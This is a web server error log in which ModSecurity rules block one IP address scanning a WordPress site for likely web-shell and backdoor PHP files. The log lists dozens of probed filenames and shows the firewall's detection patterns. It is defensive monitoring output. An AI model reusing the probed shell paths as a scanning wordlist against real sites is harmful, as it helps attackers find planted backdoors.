[Fri Apr 10 13:36:49.934513 2026] [:error] [pid 3934:tid 3955] [client 138.199.57.35:60676] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adiMcYa41m-BS8mg82doywAAANA"]
[Fri Apr 10 13:36:50.422604 2026] [:error] [pid 3934:tid 3960] [client 138.199.57.35:46082] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Fri Apr 10 13:36:50.667630 2026] [:error] [pid 3934:tid 3957] [client 138.199.57.35:46082] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Fri Apr 10 13:36:50.910314 2026] [:error] [pid 3934:tid 3951] [client 138.199.57.35:46082] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adiMcoa41m-BS8mg82do3AAAAMw"]
[Fri Apr 10 13:36:51.642943 2026] [:error] [pid 3934:tid 3940] [client 138.199.57.35:46136] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Fri Apr 10 13:36:52.132549 2026] [:error] [pid 3934:tid 3961] [client 138.199.57.35:46136] [client 138.199.57.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.57.35, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "adiMdIa41m-BS8mg82do_QAAANY"]
[Fri Apr 10 13:36:52.376292 2026] [:error] [pid 3934:tid 3951] [client 138.199.57.35:46136] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adiMdIa41m-BS8mg82dpAQAAAMw"]
[Fri Apr 10 13:36:55.332878 2026] [:error] [pid 3934:tid 3959] [client 138.199.57.35:46238] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Fri Apr 10 13:36:58.243769 2026] [:error] [pid 3934:tid 3945] [client 138.199.57.35:46238] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Fri Apr 10 13:36:58.485960 2026] [:error] [pid 3934:tid 3960] [client 138.199.57.35:46238] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "adiMeoa41m-BS8mg82dpfAAAANU"]
[Fri Apr 10 13:36:58.977078 2026] [:error] [pid 13100:tid 13123] [client 138.199.57.35:35662] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Fri Apr 10 13:36:59.718533 2026] [:error] [pid 13100:tid 13120] [client 138.199.57.35:35662] [client 138.199.57.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.57.35, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "adiMe1zg-ZkZ0InWIP0dcwAAAQ8"]
[Fri Apr 10 13:36:59.970886 2026] [:error] [pid 13100:tid 13111] [client 138.199.57.35:35662] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Fri Apr 10 13:37:00.218815 2026] [:error] [pid 13100:tid 13128] [client 138.199.57.35:35662] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Fri Apr 10 13:37:00.468272 2026] [:error] [pid 13100:tid 13108] [client 138.199.57.35:35662] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Fri Apr 10 13:37:00.710952 2026] [:error] [pid 13100:tid 13126] [client 138.199.57.35:35662] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "adiMfFzg-ZkZ0InWIP0dfAAAARU"]
[Fri Apr 10 13:37:01.200069 2026] [:error] [pid 3934:tid 3959] [client 138.199.57.35:35822] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Fri Apr 10 13:37:01.441811 2026] [:error] [pid 3934:tid 3948] [client 138.199.57.35:35822] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "adiMfYa41m-BS8mg82dpwgAAAMk"]
[Fri Apr 10 13:37:03.786399 2026] [:error] [pid 13189:tid 13199] [client 138.199.57.35:35944] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Fri Apr 10 13:37:04.044381 2026] [:error] [pid 13189:tid 13208] [client 138.199.57.35:35944] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "adiMgJAxiJKPums3eBCjvQAAAFA"]
[Fri Apr 10 13:37:05.025999 2026] [:error] [pid 13189:tid 13199] [client 138.199.57.35:36034] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Fri Apr 10 13:37:05.267978 2026] [:error] [pid 13189:tid 13200] [client 138.199.57.35:36034] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "adiMgZAxiJKPums3eBCjygAAAEg"]
[Fri Apr 10 13:37:05.753171 2026] [:error] [pid 13100:tid 13108] [client 138.199.57.35:36128] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "adiMgVzg-ZkZ0InWIP0dkgAAAQM"]
[Fri Apr 10 13:37:06.237067 2026] [:error] [pid 13101:tid 13157] [client 138.199.57.35:36158] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Fri Apr 10 13:37:06.483428 2026] [:error] [pid 13101:tid 13133] [client 138.199.57.35:36158] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Fri Apr 10 13:37:07.470895 2026] [:error] [pid 13101:tid 13152] [client 138.199.57.35:36158] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "adiMg98Ldw85818pj2ohBgAAAJM"]
[Fri Apr 10 13:37:08.229697 2026] [:error] [pid 3934:tid 3941] [client 138.199.57.35:36276] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "adiMhIa41m-BS8mg82dqHwAAAMI"]
[Fri Apr 10 13:37:09.453311 2026] [:error] [pid 3934:tid 3958] [client 138.199.57.35:50126] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "adiMhYa41m-BS8mg82dqPAAAANM"]
[Fri Apr 10 13:37:09.953013 2026] [:error] [pid 3934:tid 3961] [client 138.199.57.35:50240] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Fri Apr 10 13:37:10.443808 2026] [:error] [pid 3934:tid 3958] [client 138.199.57.35:50240] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Fri Apr 10 13:37:10.690604 2026] [:error] [pid 3934:tid 3954] [client 138.199.57.35:50240] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "adiMhoa41m-BS8mg82dqYwAAAM8"]
[Fri Apr 10 13:37:11.179862 2026] [:error] [pid 13100:tid 13118] [client 138.199.57.35:50300] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Fri Apr 10 13:37:11.671485 2026] [:error] [pid 13100:tid 13112] [client 138.199.57.35:50300] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "adiMh1zg-ZkZ0InWIP0dngAAAQc"]
[Fri Apr 10 13:37:12.886911 2026] [:error] [pid 13189:tid 13216] [client 138.199.57.35:50388] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "adiMiJAxiJKPums3eBCkEwAAAFg"]
[Fri Apr 10 13:37:13.619813 2026] [:error] [pid 3934:tid 3946] [client 138.199.57.35:50482] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Fri Apr 10 13:37:14.357337 2026] [:error] [pid 3934:tid 3950] [client 138.199.57.35:50482] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Fri Apr 10 13:37:14.851429 2026] [:error] [pid 3934:tid 3953] [client 138.199.57.35:50482] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Fri Apr 10 13:37:15.093538 2026] [:error] [pid 3934:tid 3951] [client 138.199.57.35:50482] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "adiMi4a41m-BS8mg82dqsAAAAMw"]
[Fri Apr 10 13:37:15.579910 2026] [:error] [pid 3934:tid 3946] [client 138.199.57.35:50672] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "adiMi4a41m-BS8mg82dqugAAAMc"]
[Fri Apr 10 13:37:16.063244 2026] [:error] [pid 13102:tid 13182] [client 138.199.57.35:50728] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "adiMjP9xLvjW2guI55a9LwAAABY"]
[Fri Apr 10 13:37:16.543403 2026] [:error] [pid 13189:tid 13205] [client 138.199.57.35:50750] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "adiMjJAxiJKPums3eBCkLAAAAE0"]
[Fri Apr 10 13:37:17.025284 2026] [:error] [pid 13189:tid 13210] [client 138.199.57.35:50810] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Fri Apr 10 13:37:17.266528 2026] [:error] [pid 13189:tid 13196] [client 138.199.57.35:50810] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "adiMjZAxiJKPums3eBCkOgAAAEQ"]
[Fri Apr 10 13:37:17.745896 2026] [:error] [pid 13101:tid 13152] [client 138.199.57.35:50872] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "adiMjd8Ldw85818pj2ohLgAAAJM"]
[Fri Apr 10 13:37:18.239630 2026] [:error] [pid 13101:tid 13134] [client 138.199.57.35:53356] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Fri Apr 10 13:37:18.733286 2026] [:error] [pid 13101:tid 13145] [client 138.199.57.35:53356] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adiMjt8Ldw85818pj2ohMwAAAIw"]
[Fri Apr 10 13:37:19.213404 2026] [:error] [pid 3934:tid 3940] [client 138.199.57.35:53408] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "adiMj4a41m-BS8mg82dq6wAAAME"]
[Fri Apr 10 13:37:19.696848 2026] [:error] [pid 13100:tid 13118] [client 138.199.57.35:53436] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "adiMj1zg-ZkZ0InWIP0dtQAAAQ0"]
[Fri Apr 10 13:37:20.186366 2026] [:error] [pid 13189:tid 13192] [client 138.199.57.35:53494] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "adiMkJAxiJKPums3eBCkWQAAAEA"]
[Fri Apr 10 13:37:20.911587 2026] [:error] [pid 13189:tid 13204] [client 138.199.57.35:53548] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "adiMkJAxiJKPums3eBCkYwAAAEw"]
[Fri Apr 10 13:37:21.883929 2026] [:error] [pid 3934:tid 3963] [client 138.199.57.35:53616] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "adiMkYa41m-BS8mg82drEwAAANg"]
[Fri Apr 10 13:37:22.367834 2026] [:error] [pid 3934:tid 3956] [client 138.199.57.35:53674] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Fri Apr 10 13:37:23.110171 2026] [:error] [pid 3934:tid 3960] [client 138.199.57.35:53674] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Fri Apr 10 13:37:23.351045 2026] [:error] [pid 3934:tid 3943] [client 138.199.57.35:53674] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "adiMk4a41m-BS8mg82drLQAAAMQ"]
[Fri Apr 10 13:37:24.076400 2026] [:error] [pid 3934:tid 3943] [client 138.199.57.35:53808] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Fri Apr 10 13:37:24.319214 2026] [:error] [pid 3934:tid 3957] [client 138.199.57.35:53808] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Fri Apr 10 13:37:25.535693 2026] [:error] [pid 3934:tid 3963] [client 138.199.57.35:53808] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "adiMlYa41m-BS8mg82drTAAAANg"]
[Fri Apr 10 13:37:26.746116 2026] [:error] [pid 13189:tid 13195] [client 138.199.57.35:54052] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "adiMlpAxiJKPums3eBCknwAAAEM"]
[Fri Apr 10 13:37:27.230000 2026] [:error] [pid 13102:tid 13178] [client 138.199.57.35:54146] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "adiMl_9xLvjW2guI55a9bAAAABI"]
[Fri Apr 10 13:37:28.702358 2026] [:error] [pid 3934:tid 3955] [client 138.199.57.35:54192] [client 138.199.57.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "adiMmIa41m-BS8mg82dreAAAANA"]
[Fri Apr 10 13:37:29.680777 2026] [:error] [pid 13100:tid 13111] [client 138.199.57.35:33692] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Fri Apr 10 13:37:29.925667 2026] [:error] [pid 13100:tid 13107] [client 138.199.57.35:33692] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Fri Apr 10 13:37:30.180146 2026] [:error] [pid 13100:tid 13126] [client 138.199.57.35:33692] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Fri Apr 10 13:37:30.425445 2026] [:error] [pid 13100:tid 13117] [client 138.199.57.35:33692] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Fri Apr 10 13:37:30.914636 2026] [:error] [pid 13100:tid 13125] [client 138.199.57.35:33692] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "adiMmlzg-ZkZ0InWIP0d0gAAARQ"]
[Fri Apr 10 13:37:31.397223 2026] [:error] [pid 3934:tid 3956] [client 138.199.57.35:33890] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "adiMm4a41m-BS8mg82drkwAAANE"]
[Fri Apr 10 13:37:31.880453 2026] [:error] [pid 13102:tid 13165] [client 138.199.57.35:33932] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "adiMm_9xLvjW2guI55a9fgAAAAU"]
[Fri Apr 10 13:37:32.360771 2026] [:error] [pid 13102:tid 13184] [client 138.199.57.35:33980] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "adiMnP9xLvjW2guI55a9hwAAABg"]
[Fri Apr 10 13:37:32.846400 2026] [:error] [pid 13101:tid 13140] [client 138.199.57.35:34004] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "adiMnN8Ldw85818pj2ohTgAAAIc"]
[Fri Apr 10 13:37:33.341947 2026] [:error] [pid 13189:tid 13213] [client 138.199.57.35:34034] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "adiMnZAxiJKPums3eBCk2QAAAFU"]
[Fri Apr 10 13:37:33.823332 2026] [:error] [pid 3934:tid 3944] [client 138.199.57.35:34082] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "adiMnYa41m-BS8mg82drvAAAAMU"]
[Fri Apr 10 13:37:34.314080 2026] [:error] [pid 13101:tid 13138] [client 138.199.57.35:34112] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "adiMnt8Ldw85818pj2ohTwAAAIU"]
[Fri Apr 10 13:37:34.797392 2026] [:error] [pid 13189:tid 13213] [client 138.199.57.35:19795] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "adiMnpAxiJKPums3eBCk5QAAAFU"]
